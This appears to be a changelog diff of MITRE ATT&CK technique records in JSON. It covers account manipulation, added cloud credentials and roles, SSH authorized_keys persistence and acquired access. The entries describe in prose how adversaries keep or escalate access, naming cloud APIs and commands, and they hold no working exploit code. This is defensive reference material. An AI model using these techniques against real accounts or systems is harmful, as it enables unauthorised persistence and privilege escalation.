+ "source_name": "groups man page",
+ "description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.",
+ "url": "https://linux.die.net/man/1/groups"
+ },
+ {
+ "source_name": "Mandiant APT1",
+ "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ },
+ {
+ "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
+ "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
+ "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
+ },
+ {
+ "source_name": "Elastic - Koadiac Detection with EQL",
+ "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
+ "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Daniel Stepanic, Elastic",
+ "Miriam Wiesner, @miriamxyra, Microsoft Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Group: Group Enumeration\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.515000+00:00\", \"old_value\": \"2025-04-15 19:58:14.718000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0036: Group (Group Enumeration)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
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+ "DET0303: Local Account Enumeration Across Host Platforms"
+ ],
+ "dropped": []
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+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:12.196000+00:00",
+ "modified": "2025-10-24 17:49:10.273000+00:00",
+ "name": "Account Manipulation",
+ "description": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1098",
+ "external_id": "T1098"
+ },
+ {
+ "source_name": "FireEye SMOKEDHAM June 2021",
+ "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
+ "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
+ },
+ {
+ "source_name": "Microsoft Security Event 4670",
+ "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.",
+ "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670"
+ },
+ {
+ "source_name": "Microsoft User Modified Event",
+ "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738"
+ },
+ {
+ "source_name": "InsiderThreat ChangeNTLM July 2017",
+ "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
+ "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
+ },
+ {
+ "source_name": "GitHub Mimikatz Issue 92 June 2017",
+ "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
+ "url": "https://github.com/gentilkiwi/mimikatz/issues/92"
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+ "Tim MalcomVetter",
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+ "Arad Inbar, Fidelis Security"
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+ "macOS",
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+ "Office Suite",
+ "SaaS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.8",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\", \"File: File Modification\", \"Group: Group Modification\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.273000+00:00\", \"old_value\": \"2025-04-15 19:58:54.718000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n\\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\\n\\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n-\\n-Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\\n-\\n-Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)\"}}}",
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+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1030: Network Segmentation",
+ "M1032: Multi-factor Authentication",
+ "M1042: Disable or Remove Feature or Program"
+ ],
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+ "dropped": []
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+ "new": [],
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+ "DS0002: User Account (User Account Modification)",
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+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)",
+ "DS0026: Active Directory (Active Directory Object Modification)",
+ "DS0036: Group (Group Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0096: Account Manipulation Behavior Chain Detection"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-19 16:10:15.008000+00:00",
+ "modified": "2025-10-24 17:49:04.839000+00:00",
+ "name": "Additional Cloud Credentials",
+ "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1098/001",
+ "external_id": "T1098.001"
+ },
+ {
+ "source_name": "Crowdstrike AWS User Federation Persistence",
+ "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
+ "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
+ },
+ {
+ "source_name": "Expel IO Evil in AWS",
+ "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
+ "url": "https://expel.io/blog/finding-evil-in-aws/"
+ },
+ {
+ "source_name": "SpecterOps Azure Privilege Escalation",
+ "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
+ "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
+ },
+ {
+ "source_name": "Demystifying Azure AD Service Principals",
+ "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
+ "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
+ },
+ {
+ "source_name": "Lacework AI Resource Hijacking 2024",
+ "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
+ "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
+ },
+ {
+ "source_name": "GCP SSH Key Add",
+ "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
+ "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
+ },
+ {
+ "source_name": "Permiso Scattered Spider 2023",
+ "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
+ "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
+ },
+ {
+ "source_name": "Blue Cloud of Death Video",
+ "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
+ "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
+ },
+ {
+ "source_name": "Blue Cloud of Death",
+ "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
+ "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
+ },
+ {
+ "source_name": "Microsoft Entra ID App Passwords",
+ "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
+ "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
+ },
+ {
+ "source_name": "Microsoft SolarWinds Customer Guidance",
+ "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
+ "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
+ },
+ {
+ "source_name": "Mandiant APT42 Operations 2024",
+ "description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
+ },
+ {
+ "source_name": "Expel Behind the Scenes",
+ "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
+ "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
+ },
+ {
+ "source_name": "Sysdig ScarletEel 2.0",
+ "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
+ "url": "https://sysdig.com/blog/scarleteel-2-0/"
+ },
+ {
+ "source_name": "Rhino Security Labs AWS Privilege Escalation",
+ "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
+ "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+ }
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+ "Oleg Kolesnikov, Securonix",
+ "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
+ "Zur Ulianitzky, XM Cyber",
+ "Alex Soler, AttackIQ",
+ "Dylan Silva, AWS Security",
+ "Arad Inbar, Fidelis Security",
+ "Arun Seelagan, CISA"
+ ],
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+ "Identity Provider",
+ "SaaS"
+ ],
+ "x_mitre_version": "2.8",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Modification\", \"Active Directory: Active Directory Object Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.839000+00:00\", \"old_value\": \"2025-04-15 21:45:50.674000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\\n\\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\\n-\\n-Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\"}}}",
+ "previous_version": "2.8",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1030: Network Segmentation",
+ "M1032: Multi-factor Authentication",
+ "M1042: Disable or Remove Feature or Program"
+ ],
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+ "changelog_datacomponent_detections": {
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+ "dropped": [
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+ "DS0026: Active Directory (Active Directory Object Creation)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
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+ "shared": [],
+ "new": [
+ "DET0531: Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-19 16:59:45.362000+00:00",
+ "modified": "2025-10-24 17:48:35.082000+00:00",
+ "name": "Additional Cloud Roles",
+ "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1098/003",
+ "external_id": "T1098.003"
+ },
+ {
+ "source_name": "Expel AWS Attacker",
+ "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
+ "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
+ },
+ {
+ "source_name": "Microsoft O365 Admin Roles",
+ "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
+ "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
+ },
+ {
+ "source_name": "AWS IAM Policies and Permissions",
+ "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
+ },
+ {
+ "source_name": "Google Cloud IAM Policies",
+ "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
+ "url": "https://cloud.google.com/iam/docs/policies"
+ },
+ {
+ "source_name": "Invictus IR DangerDev 2024",
+ "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
+ "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
+ },
+ {
+ "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
+ "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
+ "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
+ },
+ {
+ "source_name": "Rhino Security Labs AWS Privilege Escalation",
+ "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
+ "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+ }
+ ],
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+ "Wojciech Lesicki",
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+ "Cl\u00e9ment Notin, Tenable",
+ "Praetorian",
+ "Alex Soler, AttackIQ",
+ "Arad Inbar, Fidelis Security",
+ "Arun Seelagan, CISA"
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+ "x_mitre_platforms": [
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+ "Identity Provider",
+ "Office Suite",
+ "SaaS"
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+ "source_name": "Bienstock, D. - Defending O365 - 2019",
+ "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved November 17, 2024.",
+ "url": "https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511"
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+ "source_name": "Crowdstrike Hiding in Plain Sight 2018",
+ "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.",
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+ "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.",
+ "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"
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+ {
+ "source_name": "Gmail Delegation",
+ "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.",
+ "url": "https://support.google.com/a/answer/7223765?hl=en"
+ },
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+ "source_name": "FireEye APT35 2018",
+ "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
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+ },
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+ "source_name": "Mandiant Defend UNC2452 White Paper",
+ "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.",
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+ },
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+ "source_name": "Microsoft - Add-MailboxPermission",
+ "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.",
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+ "name": "SSH Authorized Keys",
+ "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)",
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+ "url": "https://attack.mitre.org/techniques/T1098/004",
+ "external_id": "T1098.004"
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+ "source_name": "Venafi SSH Key Abuse",
+ "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.",
+ "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"
+ },
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+ "source_name": "Broadcom ESXi SSH",
+ "description": "Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with public/private key authentication. Retrieved March 26, 2025.",
+ "url": "https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html"
+ },
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+ "source_name": "Google Cloud Privilege Escalation",
+ "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.",
+ "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"
+ },
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+ "source_name": "cisco_ip_ssh_pubkey_ch_cmd",
+ "description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"
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+ "source_name": "Cybereason Linux Exim Worm",
+ "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.",
+ "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"
+ },
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+ "source_name": "Google Cloud Add Metadata",
+ "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.",
+ "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"
+ },
+ {
+ "source_name": "Azure Update Virtual Machines",
+ "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.",
+ "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"
+ },
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+ "source_name": "SSH Authorized Keys",
+ "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.",
+ "url": "https://www.ssh.com/ssh/authorized_keys/"
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+ "id": "attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2023-03-10 15:37:21.782000+00:00",
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+ "name": "Acquire Access",
+ "description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain 